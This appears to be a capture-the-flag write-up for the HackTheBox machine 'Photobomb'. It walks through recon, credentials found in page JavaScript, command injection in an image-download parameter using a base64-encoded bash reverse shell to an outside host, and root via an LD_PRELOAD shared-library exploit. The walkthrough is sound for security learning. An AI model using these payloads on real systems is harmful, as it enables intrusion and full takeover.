Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
Photobomb is an Easy Linux machine.
Recon
nmap
1
2
3
4
5
6
7
8
9
10
|
└─$ rustscan -a 10.10.11.182 -b 2500 -- -T4 -Pn -sV -A
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
We face that seems to be a Linux server that host a webserver.
dirbuster
Using dirbuster
, we find some files & directories.
Some page like http://photobomb.htb/printer
ask for credentials.
Source-code
We find some credentials while checking the photobomb.js source code.
1
2
3
|
[...]
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
|
Trying pH0t0:b0Mb!
, we can now have an complete access to the page.
We are now facing a page with some pictures. We can download those as PNG or JPG.
When browsing to an non-existing page, we found an error message.
Maybe the webserver use the Sinatra framework.
Looking for any know vulnerabilities
exiftool
I first checked exif of image that we can download from the website.
1
2
3
4
|
└─$ exiftool ../Downloads/kevin-charit-XZoaTJTnB9U-unsplash_3000x2000.png
[...]
Profile Creator : Little CMS
[...]
|
We found that image’s Profile Creator is Little CMS
, checking with searchsploit
…
searchsploit
1
2
3
4
5
6
7
|
└─$ searchsploit little cms
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
CMS little 0.0.1 - 'template' Local File Inclusion | php/webapps/5992.txt
CMS little 0.0.1 - 'term' SQL Injection | php/webapps/7269.pl
----------------------------------------------------- ---------------------------------
|
We found that there is some SQLi for that profile but here it does not work.
Try LFI from this article. But does not work.
Vulnerability on Sinatra Framework
Intercepting download requests using Burp we find that 3 parameters are used: photo
& filetype
& dimensions
Those parameters are used to craft code at server side. It means that we are probably able to execute code (RCE) using those parameters.
I first tried to inject a reverse shell on the photo
parameter.
1
2
3
4
5
6
7
8
|
POST /printer HTTP/1.1
Host: photobomb.htb
Content-Length: 74
Cache-Control: max-age=0
Authorization: Basic cEgwdDA6YjBNYiE=
[...]
photo=voicu-apostol-MWER49YaD-M-unsdplash.jpg; nc 10.10.16.11 4444 &filetype=jpg&dimensions=30x20
|
But it does not work. Then, I tried to base64 encode the same payload and inject it on the same parameter.
1
2
3
4
5
6
7
8
9
10
11
12
|
# encode payload
echo '/bin/bash -i >& /dev/tcp/10.10.16.11/4444 0>&1' |base64
# L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExLzQ0NDQgMD4mMQ==
POST /printer HTTP/1.1
Host: photobomb.htb
Content-Length: 74
Cache-Control: max-age=0
Authorization: Basic cEgwdDA6YjBNYiE=
[...]
photo=voicu-apostol-MWER49YaD-M-unsdplash.jpg; echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExLzQ0NDQgMD4mMQ=='|base64 -d|bash &filetype=jpg&dimensions=30x20
|
Opening a listener on my machine and…
1
2
3
4
5
6
|
└─$ rlwrap nc -lvnp 4444
wizard@photobomb:~/photobomb$ whoami
wizard
cat ~/user.txt
*************************************
|
It works! We are now wizard
on the machine. We can get the user flag :)
Explaining vulnerable code
Here the code that I get from the machine.
1
2
3
4
5
6
7
|
if !File.exists?('resized_images/' + filename)
command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
puts "Executing: #{command}"
system(command)
else
puts "File already exists."
end
|
Here we can easily see that we can add command as parameters are directly added to the command
variable. Parameters are not checked/filtered.
Path to the privesc
I first checked sudo permissions for the user wizard
.
1
2
3
4
5
6
7
|
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
|
The user can execute a script as root
without providing a password. Checking the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
|
find
command is used without a full path. This is exploitable. Find this interesting article that is using the LD_PRELOAD
environment variable to privesc. Hacktrick also have the exploit.
LD_PRELOAD
is an environment variable that list shared libraries with functions that override the standard set, just as /etc/ld.so.preload
does. These are implemented by the loader /lib/ld-linux.so
Exploiting LD_PRELOAD
Using the code from Hacktricks.
1
2
3
4
5
6
7
8
9
10
|
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
|
Then, compiled it and adding the env variable to our command.
1
2
3
4
5
6
7
8
|
# compile it with this command then send it to the machine
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
wizard@photobomb:~/photobomb$ sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
# whoami
root
# cat /root/root.txt
***************************d9975
|
It works! We can get the root flag :)